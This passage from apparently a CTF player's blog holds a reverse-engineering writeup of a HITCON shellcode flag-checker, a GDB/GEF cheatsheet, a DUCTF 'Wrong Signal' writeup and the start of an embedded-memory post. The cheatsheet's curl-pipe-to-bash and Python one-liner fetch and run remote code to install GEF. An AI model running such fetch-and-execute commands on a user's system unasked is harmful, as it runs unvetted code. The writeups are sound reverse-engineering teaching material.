	__ptr[n - 2] = __ptr[uVar23];
	__ptr[uVar23] = uVar1;
	
	puVar21 += 2;
	n -= 2;
} while (n != 0);

^{(Some variables are renamed for clarity.)}

Does this look familiar?

It’s good ol’ swap! (Though slightly unrolled.) There are eight of these loops, the only difference being the memcpy source.

So how do we reverse this? Generally, there are two approaches to take:

Static analysis. This means we reverse the binary by looking at the bytecode, assembly, decompiler, etc. We don't run or emulate anything.
Dynamic analysis. In this approach, we observe the program's behaviour by running it. Common tools are gdb, strace, and ltrace.

Approaching this statically seems faster, but integer semantics may get lost in translation. Our conclusion may be unstable.

Thus, for fun (and practice), we'll go the dynamic route. Let's insert some breakpoints, input our flag of 64 unique characters (e.g. Base64 alphabet), grab the permuted string, and construct a mapping.

In GDB:

start

Break to determine __ptr location.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 61
Break to grab permuted string.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 935

continue  
server  
run  
flag abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/
(breakpoint triggered)

Get location of __ptr.
p $rax
$1 = 0x5555555d63e0
continue
(breakpoint triggered)

Get permuted string.
x/s 0x5555555d63e0
Rp5v+AZmM8XWy1sgNhTB/oCzYVdPrGn6KD3Q9lke4qtFxHb0uUOcS2jIEJfL7aiw

All that's left is to match the characters.

import string

p = string.ascii_letters + string.digits + '+/'
assert len(p) == 64
print(p)

# Permuted string obtained from GDB.
permuted = 'Rp5v+AZmM8XWy1sgNhTB/oCzYVdPrGn6KD3Q9lke4qtFxHb0uUOcS2jIEJfL7aiw'[:64]

perm = [0] * 64  # Permutation 
rperm = [0] * 64 # Reverse permutation

for i, c in enumerate(p):
	j = permuted.index(c)
	perm[i] = j
	rperm[j] = i

First part done!

2. Constructing An Inverse Map

Address: 113020 – 11309c.

Part 2 Decompile

Looks like a bunch of arithmetic.

do {
    uVar23 = 0;
    uVar18 = 1;
    uVar3 = __ptr[lVar20] + 1;
    uVar19 = 0x101;
    do {
        uVar25 = uVar3;
        uVar27 = uVar18;
        uVar3 = uVar19 % uVar25;
        iVar24 = (int)uVar27;
        iVar26 = (int)uVar23;
        uVar23 = uVar27;
        uVar18 = (ulong)(iVar26 - (uVar19 / uVar25) * iVar24);
        uVar19 = uVar25;
    } while ((short)uVar3 != 0);
    __ptr[lVar20] = ((uVar27 & 0xffff) >> 0xf) + uVar27 +
                    ((((uVar27 >> 0xf) - iVar24) + iVar26 & 0xffffU) / 0x101) + 0x71U ^ 0x89;
    lVar20 += 1;
} while (lVar20 != 0x40);

^{Some type-casts were removed to simplify the code.}

_(collapse)

If we reverse this statically, it seems like we get a one-to-one mapping of sorts... almost a bijection... but perhaps our implementation is wrong? Better check it with dynamic analysis. 🫠

By "mapping", I mean values are transformed and mapped from one value to another. For example, a (0x61) is mapped to u (0x75), while b (0x62) is mapped to q (0x71).

Like before, we could reverse this part statically... but overflow and types are tricky to get right. So we'll go dynamic again!

Let's start with some basic GDB analysis:

What breakpoints should we add to check the result of one map iteration?
What memory location should we examine?
(And after all that, can you derive the mapping function?)

Oh where to go?

We'll break after the loop, at 11309e.

break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 1070

As for memory location, the code still modifies __ptr, so we'll read from the same location.

x/16wx 0x5555555d63e0

_(collapse)

Two things I'd like to point out:

Previously, we used x/s to print a string from memory. This time, I used x/16wx to print bytes, since some mapped bytes aren't printable.¹
There's another problem... previously, we input the bytes through flag <bytes>, and this is great if we're using printable chars. But what about non-printable chars? There are different solutions around this:
- Employ GDB input tricks.
- Track cycles of characters.
- Break before mapping, and hard-code __ptr by modifying its memory. Since the goal is to discover the remaining mappings, we'll hard-code __ptr with the rest of the bytes outside our Base64 alphabet.
Y'know what? Let's go with the last option!

start

Break before the loop.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 937
Break after the loop.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 1070

continue
(breakpoint-before-loop triggered)

Set 8x8 = 64 bytes. (I used a Python script to generate these `set` cmds from the missing input bytes.)
set *(0x5555555d63e0 as *mut u64) = 0x0001020304050607
set *(0x5555555d63e8 as *mut u64) = 0x08090a0b0c0d0e0f
and so on...
set *(0x5555555d6410 as *mut u64) = 0x3c3d3e3f405b5c5d
set *(0x5555555d6418 as *mut u64) = 0x5e5f607b7c7d7e7f

continue
(breakpoint-after-loop triggered)

Get mapped bytes.
x/16wx 0x5555555d63e0
...
Repeat until all mappings are deduced...

Finished gathering data? Let's analyse it!

# Values obtained with `x/16wx 0x5555555d63e0`.

# Values before mapping.
dst = """
0x5555555d63e0: 0x76357052      0x6d5a412b      0x5758384d      0x67733179
0x5555555d63f0: 0x4254684e      0x7a436f2f      0x50645659      0x366e4772
0x5555555d6400: 0x5133444b      0x656b6c39      0x46747134      0x30624878
0x5555555d6410: 0x634f5575      0x496a3253      0x4c664a45      0x77696137

0x5555555d63e0: 0x04050607      0x00010203      0x0c0d0e0f      0x08090a0b
0x5555555d63f0: 0x14151617      0x10111213      0x1c1d1e1f      0x18191a1b
0x5555555d6400: 0x24252627      0x20212223      0x2d2e3a3b      0x28292a2c
0x5555555d6410: 0x405b5c5d      0x3c3d3e3f      0x7c7d7e7f      0x5e5f607b

-- snip -- to save space --
"""

# Values after mapping.
mpd = """
0x5555555d63e0: 0x2e616c58      0xe2cb3269      0xa002e0b3      0xc16b1c86
0x5555555d63f0: 0xd2799cec      0x74d9c29e      0x9f043b0c      0xed14031e
0x5555555d6400: 0xca978fa2      0x39a4d8da      0xaf7e645b      0x0f71930b
0x5555555d6410: 0x0a81fd99      0x3aef66b7      0xe1ff00ee      0x09ab75ad

0x5555555d63e0: 0x51158ddb      0xfb7b4ebb      0xaab260eb      0xb0aca58e
0x5555555d63f0: 0x2bc6a635      0x635cde42      0xbd24b1e3      0x3043d65f
0x5555555d6400: 0x7c6d8b17      0x8ca7d52a      0x59a92706      0x9d83fe10
0x5555555d6410: 0x41a880c0      0x25dc5ee7      0xc42d4ff9      0x164d2f6a

-- snip --
"""

def mkbytes(s):
    return [int(bs[2*(i+1):2*(i+2)], 16) for l in s.strip().split('\n') if l.strip() for bs in l.split(': ')[1].split() for i in range(4)]

dbytes = mkbytes(dst)
mbytes = mkbytes(mpd)

mp = [0]*256  # Value map.
rmp = [0]*256 # Reverse value map.
for a, b in zip(dbytes, mbytes):
    mp[a] = b
    rmp[b] = a

# Assert bijection.
assert len(mp) == len(rmp) == 256

And just like that, we obtained a reverse mapping, thanks to it being a bijection!

What is a bijection?

A bijection is a function where...

each input maps to a unique output. (injective)
each possible output is mapped from a corresponding input. Specifically, every value in the function's range has a mapping. (surjective)

This characteristic is crucial as it guarantees an invertible operation.

^{(Image Source)}

3. Cracking the Shellcode

Address: 11310e – 1133a5.

The final part. Subtle, but delectable.

What are the 255 bytes copied into the Rust vec?

local_278 = alloc::raw_vec::RawVec<T,A>::allocate_in(0xff,0);
memcpy(local_278._0_8_,&DAT_00162b2b,0xff);

What is the purpose of the data loaded at 11310e?

local_238 = 0x526851a7;
local_234 = 0x31ff2785;
local_230 = 0xc7d28788;
local_22c = 0x523f23d3;
local_228 = 0xaf1f1055;
local_224 = 0x5c94f027;
// -- snip --

The 255 bytes loaded into a vec? Guess what? That also happens to be a shellcode!

Follow-up question: if this is shellcode, what does it do? how is it run?

We can disassemble it with pwntools.disasm to get the following ASM.

Small caveat: you'll want to set context.arch = 'amd64' for disasm to interpret the shellcode correctly. In the disassembly, we see our two points of insertion (0xdeadbeef) treated as values, so amd64 is probably the right choice.

-- snip --
  b2:   0f 05                   syscall             ; read from /dev/zero
  b4:   58                      pop    rax          ; rax = 0
  b5:   48 f7 d0                not    rax          ; exercise for the reader
  b8:   48 c1 e8 1d             shr    rax, 0x1d    ;
  bc:   48 99                   cqo                 ;
  be:   6a 29                   push   0x29         ;
  c0:   59                      pop    rcx          ;
  c1:   48 f7 f1                div    rcx          ;
  c4:   49 96                   xchg   r14, rax     ; swap r14 and rax
  c6:   6a 03                   push   0x3
  c8:   58                      pop    rax          ; rax = 3
  c9:   0f 05                   syscall             ; close()
  cb:   b8 ef be ad de          mov    eax, 0xdeadbeef  ; flag input
  d0:   44 01 e0                add    eax, r12d
  d3:   44 31 e8                xor    eax, r13d
  d6:   c1 c8 0b                ror    eax, 0xb
  d9:   f7 d0                   not    eax
  db:   44 31 f0                xor    eax, r14d        ; eax = ~(ror(0xb, (0xDEADBEEF + r12) ^ r13)) ^ r14
  de:   3d ef be ad de          cmp    eax, 0xdeadbeef  ; static values (expected output)
  e3:   75 05                   jne    0xea
  e5:   6a 01                   push   0x1
  e7:   58                      pop    rax  ; rax = 1
  e8:   eb 03                   jmp    0xed
  ea:   48 31 c0                xor    rax, rax ; rax = 0

-- snip --

I've included the juiciest part above (with some annotations). Essentially, we perform several reversible operations (add, xor, ror, not) on 4 bytes of input; and the result is checked against 4 bytes of static data. Finally, it sets rax = 1 if correct, and rax = 0 if false.

But are we actually comparing 0xdeadbeef. Nope—we're comparing something else instead.

What are the two 0xdeadbeef being replaced with?

The Guts: What does the shellcode load?

Here is some (simplified) code which overwrites 0xdeadbeef values at instruction 113168. Remember, vec is the shellcode and __ptr is our permuted + mapped input.

vec[0xcc] = __ptr[0];
vec[0xdf] = 0xA7;
vec[0xcd] = __ptr[1];
vec[0xe0] = 0x51;
vec[0xce] = __ptr[2];
vec[0xe1] = 0x68;
vec[0xcf] = __ptr[2];
vec[0xe2] = 0x52;

Does 0xA7, 0x51, 0x68, and 0x52 look familiar? 🙃 Check the wall of bytes in 11310e.

Effectively, the Rust performs a little surgery on shellcode before using it.

But how is it used? Leafing around the decompiled code, you may notice Rust IO write and read functions... those seem sus...

_(collapse)

By now, you probably know what the shellcode does: flag-checking. But there are a few more things we need to reverse...

In the calculations, three mystery values (r12, r13, r14) are used. These were computed in the preceding shellcode. To efficiently obtain our flag input from the expected output, we need to find out what these mystery values are.

In case you'd like to have a stab at dissecting the assembly, the full (unblemished) shellcode is in the box below. Try to figure out what r12, r13, and r14 are!

If you're stuck, try using GDB on our shellcode program (main.c from Running the Server) with watchpoints.
- Important: the shellcode we saw when starting the server is different from the shellcode we're reversing here! The former acts as a client, receiving commands and executing them. The latter is a flag-checker payload that is sent to the client over the network.
Here's a useful list of Linux x86-64 syscalls: filippo.io: Linux Syscall Table.

Full Shellcode

Have fun! :)

   0:   54                      push   rsp
   1:   5d                      pop    rbp
   2:   31 f6                   xor    esi, esi
   4:   48 b9 a1 57 06 b8 62 3a 9f 37   movabs rcx, 0x379f3a62b80657a1
   e:   48 ba 8e 35 6f d6 4d 49 f7 37   movabs rdx, 0x37f7494dd66f358e
  18:   48 31 d1                xor    rcx, rdx
  1b:   51                      push   rcx
  1c:   54                      push   rsp
  1d:   5f                      pop    rdi
  1e:   6a 02                   push   0x2
  20:   58                      pop    rax
  21:   99                      cdq
  22:   0f 05                   syscall
  24:   48 97                   xchg   rdi, rax
  26:   31 c0                   xor    eax, eax
  28:   50                      push   rax
  29:   54                      push   rsp
  2a:   5e                      pop    rsi
  2b:   6a 04                   push   0x4
  2d:   5a                      pop    rdx
  2e:   0f 05                   syscall
  30:   41 5c                   pop    r12
  32:   6a 03                   push   0x3
  34:   58                      pop    rax
  35:   0f 05                   syscall
  37:   31 f6                   xor    esi, esi
  39:   48 b9 3b 3b 6f c3 63 64 c0 aa   movabs rcx, 0xaac06463c36f3b3b
  43:   48 ba 48 4c 0b c3 63 64 c0 aa   movabs rdx, 0xaac06463c30b4c48
  4d:   48 31 d1                xor    rcx, rdx
  50:   51                      push   rcx
  51:   48 b9 8c 57 82 75 d6 f8 a9 7d   movabs rcx, 0x7da9f8d67582578c
  5b:   48 ba a3 32 f6 16 f9 88 c8 0e   movabs rdx, 0xec888f916f632a3
  65:   48 31 d1                xor    rcx, rdx
  68:   51                      push   rcx
  69:   54                      push   rsp
  6a:   5f                      pop    rdi
  6b:   6a 02                   push   0x2      
  6d:   58                      pop    rax
  6e:   99                      cdq
  6f:   0f 05                   syscall
  71:   48 97                   xchg   rdi, rax
  73:   31 c0                   xor    eax, eax
  75:   50                      push   rax
  76:   54                      push   rsp      
  77:   5e                      pop    rsi
  78:   6a 04                   push   0x4 
  7a:   5a                      pop    rdx
  7b:   0f 05                   syscall
  7d:   41 5d                   pop    r13
  7f:   6a 03                   push   0x3      
  81:   58                      pop    rax
  82:   0f 05                   syscall
  84:   31 f6                   xor    esi, esi
  86:   6a 6f                   push   0x6f
  88:   48 b9 59 e5 06 0c 2d f6 d9 77   movabs rcx, 0x77d9f62d0c06e559
  92:   48 ba 76 81 63 7a 02 8c bc 05   movabs rdx, 0x5bc8c027a638176
  9c:   48 31 d1                xor    rcx, rdx
  9f:   51                      push   rcx
  a0:   54                      push   rsp
  a1:   5f                      pop    rdi
  a2:   6a 02                   push   0x2  
  a4:   58                      pop    rax
  a5:   99                      cdq
  a6:   0f 05                   syscall
  a8:   48 97                   xchg   rdi, rax
  aa:   31 c0                   xor    eax, eax
  ac:   50                      push   rax
  ad:   54                      push   rsp
  ae:   5e                      pop    rsi
  af:   6a 04                   push   0x4
  b1:   5a                      pop    rdx
  b2:   0f 05                   syscall
  b4:   58                      pop    rax
  b5:   48 f7 d0                not    rax
  b8:   48 c1 e8 1d             shr    rax, 0x1d
  bc:   48 99                   cqo
  be:   6a 29                   push   0x29
  c0:   59                      pop    rcx
  c1:   48 f7 f1                div    rcx
  c4:   49 96                   xchg   r14, rax
  c6:   6a 03                   push   0x3
  c8:   58                      pop    rax
  c9:   0f 05                   syscall
  cb:   b8 ef be ad de          mov    eax, 0xdeadbeef
  d0:   44 01 e0                add    eax, r12d
  d3:   44 31 e8                xor    eax, r13d
  d6:   c1 c8 0b                ror    eax, 0xb
  d9:   f7 d0                   not    eax
  db:   44 31 f0                xor    eax, r14d
  de:   3d ef be ad de          cmp    eax, 0xdeadbeef
  e3:   75 05                   jne    0xea
  e5:   6a 01                   push   0x1
  e7:   58                      pop    rax
  e8:   eb 03                   jmp    0xed
  ea:   48 31 c0                xor    rax, rax
  ed:   50                      push   rax
  ee:   53                      push   rbx
  ef:   5f                      pop    rdi
  f0:   54                      push   rsp
  f1:   5e                      pop    rsi
  f2:   6a 08                   push   0x8
  f4:   5a                      pop    rdx
  f5:   6a 01                   push   0x1
  f7:   58                      pop    rax
  f8:   0f 05                   syscall
  fa:   55                      push   rbp
  fb:   5c                      pop    rsp
  fc:   41 ff e7                jmp    r15

_(collapse)

It turns out r12 and r13 are just the first 4 bytes of /bin/sh and /etc/passwd, which is respectively \x7fELF and root. These correspond to 0x464c457f and 0x746f6f72 in little endian. And r14 is just 0x31f3831f, computed with a bit of arithmetic. Armed with these 3 values, we can now reverse the encryption.

def ror(x, n):
    left = x >> n
    right = (x & (0xFFFFFFFF >> (32 - n))) << (32 - n)
    return right | left

def neg(x):
    assert x >= 0
    return int(''.join('01'[c == '0'] for c in f'{x:032b}'), 2)

r12 = 0x464c457f
r13 = 0x746f6f72
r14 = 0x31f3831f

def shelldec(b):
    """Reverse shellcode encryption (decryption)."""
    assert b >= 0
    return ((ror(neg(b ^ r14), 32 - 0xb) ^ r13) - r12) % 2**32

byteorder = 'little'

# `encrypted` words obtained from 160010 to 16004f.
encrypted = [0x526851a7, 0x31ff2785, 0xc7d28788, 0x523f23d3, 0xaf1f1055, 0x5c94f027, 0x797a3fcd, 0xe7f02f9f, 0x3c86f045, 0x6deab0f9, 0x91f74290, 0x7c9a3aed, 0xdc846b01, 0x743c86c, 0xdff7085c, 0xa4aee3eb,]
decrypted = [shelldec(u) for u in encrypted]

Tying it All Together

All that's left is to tie the three parts together.

bs = b''.join(u.to_bytes(4, byteorder) for u in decrypted)

for i in range(256):
    bs = apply_rmp(bs)
    bs = apply_rperm(bs)

print(bs.decode())

Debugging Our Mess

Some small tips on debugging.

Sometimes the solution is simple and straightforward. But occasionally, we make programming mistakes or misunderstand the problem. Debugging code can be painful.

Prove inverse function holds. Sounds mathy, but the basic principle is to check if our reversed output equals our input. In math terms: f(g(x)) = g(f(x)) = x, where g is the inverse of f. If it's not equal, clearly we messed up somewhere.
- This is useful for the second part (mapping), because our domain is small, just 0 - 255.
- For example, with shellcode encryption, we can do a forward pass, to make sure we're getting the same data.
```
def shellenc(a):
    """Forward shell encryption."""
    assert a >= 0
    u32 = lambda x: x & 0xFFFFFFFF 
    return neg(ror(u32(a + r12) ^ r13, 0xb)) ^ r14

assert encrypted == [shellenc(v) for v in decrypted]
```
  Python
Use asserts. Great for intermediate checks.
Verify assumptions with dynamic analysis. For example, I had falsely assumed in the shellcode that r12 == 0, since seemed to be pushed by the assembly. But as we found out, r12 == L"FLE\x7f". However, be wary of the observer effect, where the program changes behaviour when observed. I haven't seen this much in CTFs, but it's certain to be out there...

Final Remarks

It's easy to miss things out. I know I did. Lots of hair was lost until I realised I left out the shellcode. I also tried to search the shellcode on ExploitDB, but no luck, because it was hand-spun.

But overall, a sweet challenge. And one that left me with nice rave music to power me through Saturday.

Solve Script

Flag

hitcon{<https://soundcloud.com/monstercat/noisestorm-crab-rave>}

(I don't know what this music was. It was my first time listening to it. And it's epic! So thank you, wxrdnx, for introducing this nice rave and meme.)

Footnotes

A better specifier would be x/64bd. This displays 64 decimal bytes, and is more convenient to parse in Python. But I chose x/16wx since I didn't know better at the time and caused myself extra pain. 🥲 ↩︎

GDB/GEF Cheatsheet

2023-09-11T00:00:00Z

This is a curated collection of GDB/GEF commands which I find incredibly useful for dynamic analysis and reverse engineering. These are mainly personal notes and may be incomplete, but suggestions are welcome! If there's a useful GDB/GEF command you use that's not on this list, do leave a comment or let me know so that I can add it. :)

The Basics

Hjaelp!

# Describes how to use a command.
help
help [command]
help info
help breakpoint

Execution

Run Program with Loaded File

gdb <filename>

Load Files

file <filename>

Running

start    # Starts program and breaks at beginning.
run      # Runs program normally.
continue # Continue program where you left off.
kill     # Kill process.
quit     # Leave GDB.

Shell Commands

shell <cmd>
shell echo Hi
!<cmd>

Interrupting

We want to inspect a program in the guts. But how do we stop it where we want?

^C during program execution. (Also throws a SIGINT.)
Use start instead of run. Breaks after starting the program.
Use breakpoints (break on address).
Use watchpoints (break on data).

Step Debugging

Once we've stopped, what do we do? How do we navigate instructions and functions effectively?

Step debugging is one of the core features of GDB, and an invaluable tool for all programmers. Modern IDEs have step debugging functionality built-in to operate seamlessly with code. But in GDB, you can operate it with the familiar touch of your keyboard!

# Step Debugging
## Step (into).
step
s
## Step over.
next
n
## Step (into) one instruction exactly.
stepi
si
## Step over one instruction.
nexti
ni
## Step out. Execute until (selected) stack frame returns (past end of function).
finish
fin

Disassembly

Useful for verifying addresses and assembly, even if you use a decompiler.

View instructions at a function or address.

disas <address/function>
disas <start addr>,<end addr>
disas <start addr>,+<offset>

disas main

Enable Intel-flavoured ASM syntax.

set disassembly-flavor intel

View data as instructions.

x/[n]i <addr>
x/20i 0x5555555dddd0

Registers

View Registers

Show individual registers.

print [expression]

print $rax
p $rax

# Expressions are evaluated.
p $rbx+$rcx*4

Show all registers.

info registers
info r
registers # (GEF)
reg       # (GEF)

Modify Registers

set $eax = 0xdeadbeef

Watch Registers

See Watchpoints.

Memory

Memory is a core component of binaries. Many hidden secrets lurk inside the shadows of memory.

View Memory

x/[n][sz][fmt] <addr>

# n: Number of data to print.
# sz: b(byte), h(halfword), w(word), g(giant, 8 bytes)
# fmt: Format to print data.
# - o(octal), x(hex), d(decimal), u(unsigned decimal),
# - z(hex, zero padded on the left)
# - t(binary), f(float), c(char), s(string)
# - a(address), i(instruction),

# 20 words.
x/20wx 0x7fffffffd000

# 20 bytes.
x/20bx 0x7fffffffd000

# View as string.
x/s 0x7fffffffd000

Modify Memory

set {c-type}<address> = <value>

# For self-compiled sources.
set var i = 10
set {int}0x83040 = 4

You can also modify memory at a pointer location by casting to an appropriate type and dereferencing.

## C++
set *{uint32_t*}0x7fffffffd000 = 0xdeadbeef
## Rust
set *(0x7fffffffd000 as *const u32) = 0xdeadbeef

Search Memory

find <start>, <end>, <data...>
find <start>, +<length>, <data...>

# Find string (including null byte).
find 0x7fffffffd000, 0x7ffffffff000, "Hello world!"

# Find string (excluding null byte).
find 0x7fffffffd000, 0x7ffffffff000, 'H','e','l','l','o'

More options.

find [/sn] ...
# s: b(byte), h(halfword), w(word), g(giant, 8 bytes)
# n: max number of finds

Combine with Memory Mapping to determine available regions.

Watch Memory

See Watchpoints.

View Memory Segments

Useful to determine which areas are readable/writeable/executable.

Requires program to be running beforehand.

info proc mappings
vmmap # (GEF)

Stack

View Stack

# View 100 words (hex) at $rsp.
x/100wx $rsp

Heap

GEF only.

heap

# View all chunks.
heap chunks

# View specific chunks.
heap chunk <addr>

# View state of bins (freed chunks).
heap bins

Breakpoints

Breaks when address reaches an instruction.

break *<address>
break <line-number | label> # For self-compiled programs.
break <stuff...> if <expression>

# Address.
break *0x401234
b *0x401234

# Offset from function.
break *main+200

# Line number and expression.
break main.c:6 if i == 5

Further Reading:

SO: GDB – Break if variable equal value

Breakpoint Control

Sometimes we only want to enable or disable certain breakpoints. These commands come handy then. They also apply to watchpoints.

Get Breakpoint Info

info breakpoints
info b

Control Breakpoints

# Enable/disable all breakpoints.
enable
disable

# Enable/disable specific breakpoints.
enable <breakpoint-id>
disable <breakpoint-id>

# Remove breakpoints.
delete <breakpoint-id>

Skip n Breakpoints

continue <ignore-count>

# Skip 32 breaks.
continue 32

Hit Breakpoint Once

# Enable the breakpoint once.
# The breakpoint will be disabled after first hit.
enable once <breakpoint-id>

Watchpoints

Breaks when data changes. More specifically, whenever the value of an expression changes, a break occurs.

This includes:

when an address is written to. (watch, awatch)
when an address is read from. (rwatch, awatch)
when an expression evaluates to a given value. (watch)

watch <expression>

# Break on write.
watch *0x7fffffffd000

# Break on condition.
## Register
watch $rax == 0xdeadbeef
## Memory
### C/C++
watch *{uint32_t*}0x7fffffffd000 == 0xdeadbeef
### Rust
watch *(0x7fffffffd000 as *const u32) == 0xdeadbeef

Watchpoints can be enabled/disabled/deleted like breakpoints, but you can also list them separately.

# Displays table of watchpoints.
info watchpoint
info wat

If hardware watchpoints are supported, then you can also use read watchpoints and access watchpoints.

# Check if hardware watchpoints are supported.
show can-use-hw-watchpoints

# Read watchpoints: break on read.
rwatch *0x7fffffffd000

# Access watchpoints: break on read or write.
awatch *0x7fffffffd000

Further Reading:

GDB: Setting Watchpoints

GDB Script

GDB commands can be placed in files and run in the following ways:

~/.gdbinit and ./.gdbinit are executed automatically on GDB startup.

On the command line, with -x/--command:

gdb --batch --command=test.gdb --args ./test.exe 5

Using the source command in GDB:
```
source myscript.gdb
```
GDB

Further Reading:

Miscellaneous

Install GEF

# via the install script
## using curl
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

## using wget
bash -c "$(wget https://gef.blah.cat/sh -O -)"

# or manually
wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

# or alternatively from inside gdb directly
gdb -q
(gdb) pi import urllib.request as u, tempfile as t; g=t.NamedTemporaryFile(suffix='-gef.py'); open(g.name, 'wb+').write(u.urlopen('https://tinyurl.com/gef-main').read()); gdb.execute('source %s' % g.name)

Further Reading:

GitHub: GEF

`pwnlib.gdb.attach`

This allows you to programmatically interact with the binary with an initial GDB script or send I/O with Python. This uses the Python pwn module — a versatile exploit development package — which you can install with pip install pwntools.

from pwn import *

bash = process('bash')

# Attach the debugger and run GDB commands.
gdb.attach(bash, '''
set follow-fork-mode child
break execve
continue
''')

# Interact with the process.
bash.sendline(b"echo Hello World")

Further Reading:

To unlock the full potential of the GDB API, check out:

pwntools - Working with GDB

Input Non-Printable Characters

Sometimes you may want to manually fuzz or construct complex attack payloads. There are multiple ways to do so.

I don't recommend using Python 3 to generate strings on-the-fly, as its string/byte-string mechanics are unintuitive. Prefer perl or echo instead.

For example: python -c 'print("\xc0")' prints \xc3\x80 (À) instead of \xc0. Why? Because the Python string "\xc0" is interpreted as U+00C0, which is \xc3\x80 in UTF-8. In other words, characters are interpreted as Unicode codepoints instead of bytes.

assert '\xc0'.encode() == b'\xc3\x80'

Printing bytes in Python is difficult to do concisely.

Directly from GDB: With run

# Runs with 'AAAA\x01\x02\x01\x02' as stdin.
r <<<$(perl -e 'print "A"x4 . "\x01\x02"x2;')

This uses a Bash here-string to feed goodies into input. Not supported on all machines.

Directly from GDB: With Temporary File

Slightly more convoluted than the previous method, but is more portable.

# Prints 'AAAA\x01\x02\x01\x02' to a temporary file.
shell perl -e 'print "A"x4 . "\x01\x02"x2;' >/tmp/input

# Run the program, use the file as stdin.
r </tmp/input

Reset GDB Arguments

set args

This empties args. You can also use this command to set arbitrary arguments. The full command is:

set args [arguments...]

With pwnlib.gdb.attach

bash.sendline(b"echo '\x01\x02\x03\x04'")

Enable ASLR

ASLR is a common mechanism to randomise stack, heap, and library offsets.

ASLR is disabled by default in GDB. To re-enable:

set disable-randomization off

Useful for pwn challenges.

PIE Breakpoints

GEF only.

PIE are binaries where segments (.data, .text) are loaded at random offsets. In GDB, it seems to always be set to offset 0x555…554000.

Not all binaries have PIE enabled. Use checksec to verify.

Use the pie commands (help pie). Pie breakpoints are separate from regular breakpoints.

pie b <addr>    # PIE breakpoint at offset <addr> in code.
pie run         # Run with pie breakpoints enabled.

GEF Context

GEF only.

Summary of registers, stack, trace, code, all in one contained view.

context
ctx

Sometimes you want to step-debug without GEF's massive spew of text covering the screen.

Disable Context

gef config context.enable 0

Enable Context

gef config context.enable 1

DUCTF 2023 – Wrong Signal

2023-09-04T00:00:00Z

Description

Medium. 27/1424 solves.

I am getting all the wrong signals from this binary.

Author: hashkitten

Writeup

Analysis

On decompilation, the binary appears to be an innocent program which adds and subtracts numbers. The code itself is relatively simple.

// Set the SIGSEGV handler.
memset(&sigsegv_sigaction,0,0x98);
sigsegv_sigaction.__sigaction_handler.sa_handler = oops;
sigsegv_sigaction.sa_flags = 4;
sigaction(11,&sigsegv_sigaction,NULL);

// Read input.
puts("Enter the password:");
read(0,buffer,0x10);

// Check input for correctness.
local_c0 = &DAT_13386000;
for (i = 0; i < 0x40; i += 1) {
	j = i;
	if (i < 0) {
		j = i + 3;
	}
	switch((int)(char)(buffer[j >> 2] ^ mangle_buf[j >> 2]) >>
		   (((char)i - ((byte)j & 0xfc)) * 2 & 0x1f) & 3) {
	case 0:
		local_c0 = local_c0 + -0x15000;
		break;
	case 1:
		local_c0 = local_c0 + -0x1000;
		break;
	case 2:
		local_c0 = local_c0 + 0x1000;
		break;
	case 3:
		local_c0 = local_c0 + 0x15000;
	}
}

if (local_c0 == &DAT_13398000) {
	puts("Well done! Wrap that in DUCTF{}.");
}
else {
	oops(0);
}

Observations:

A sigaction handler takes care of any SIGSEGV faults, outputs Wrong! and exits. SIGSEGVs occur when there are invalid memory accesses (e.g. reads, writes).
The for-loop iterates through crumbs (2-bit groups¹), xors it with static data (mangle_buf), and modifies local_c0 depending on the value of each crumb. Yeah, that eyesore in the switch condition computes the current crumb.
Since 16-bytes are read, this means there are 64 crumbs, therefore 64 operations.
Our goal is to modify local_c0 so that it goes from 0x13386000 to 0x13398000—a difference of 0x12000.

The last point is interesting, since there's no way we can get a unique solution. There are multiple ways to reach an offset of 0x12000.

For example, if our crumbs are 3, 1, 1, 1, then we've already arrived at our target address, right? Then we can just fill the rest with 2s and 1s to do nothing to local_c0, right? Right?

wRoNg! Ay c-rumba.

Using a Z3 script spun by reversing the program, we can output some test payloads. Now obviously this isn't the flag, but I'm interested in testing out some cases. Using I as the first letter, we trigger case 3 (+0x15000) as our first operation.² Turns out we can't do that as our first move, because it catapults us into oops().

^{We have the best flag. Because of oops().}

If instead our first case was 2, the program continues, and we're not thrown straight into ~~jail~~ oops(). So there must be something we're missing.

Where are the segfaults coming from?

While all the above observations are fine and dandy, the decompilation leaves out something crucial. Isn't it weird how local_c0 seems to be working with addresses and jumping around without actually doing anything? Turns out, there's a sneaky little dereference after the switch-case, at 0x401305.

; 0x4012fe. Load `local_c0` from stack to RAX.
MOV        RAX,qword ptr [RBP + local_c0]

; 0x401305. Dereference `RAX` to `AL`.
MOV        AL,byte ptr [RAX]=>DAT_13386000

Don't underestimate these few lines. Even though the dereferenced value is unused, a read is performed nonetheless!

So why are some reads causing segfaults? To answer this, we can use the vmmap command that comes with GDB GEF. This shows various segments of a binary, their address ranges, and whether they're readable/writable.³

Yikes! That's a lot of segments. Notice how some of them disallow all permissions? Our pointer was trying to read those regions. All that's left is to filter out the regions in our code.

Concluding Remarks

Peeking at the official solve script... it turns out the challenge was a... maze?!? Wut? Didn't expect that. But overall it was a fun little challenge with some nice surprises, and a good reminder to not overlook (or completely ignore) the small details such as that hidden byte read.

Solve Script

I didn't do a step-by-step walkthrough of my solve script this time, but I've littered it with comments, so hopefully it's understandable—even for those new to the Z3 library.

Flag

DUCTF{hElCYi8OxUF7PAA5}

Footnotes

And for the nerds: 4-bits is a nybble/nibble. ↩︎
Verifiable through GDB, with b *main+245 and p $rax. ↩︎
There are other similar tools, but I'm accustomed to GEF's vmmap. ↩︎

Why Dynamic Memory Allocation Bad (for Embedded)

2023-06-24T00:00:00Z

^{Getting better hardware is not always the solution. Sometimes; but not always. Don't be clueless.}

I keep explaining why dynamically allocating on embedded systems is a disagreeable idea, so thought I’d throw it on a post. This is a confusing topic for many junior developers who were taught to use new and delete in early C++ courses. In desktop/web application programming, dynamic allocation is everywhere.¹ Not so in embedded.

To clarify, dynamic memory allocation (in embedded) isn't always bad, just as goto isn't always bad. Both dynamic allocation and goto have appropriate uses, but are often misused. As engineers, it's our duty to understand which situations call for these features and to make sound choices.

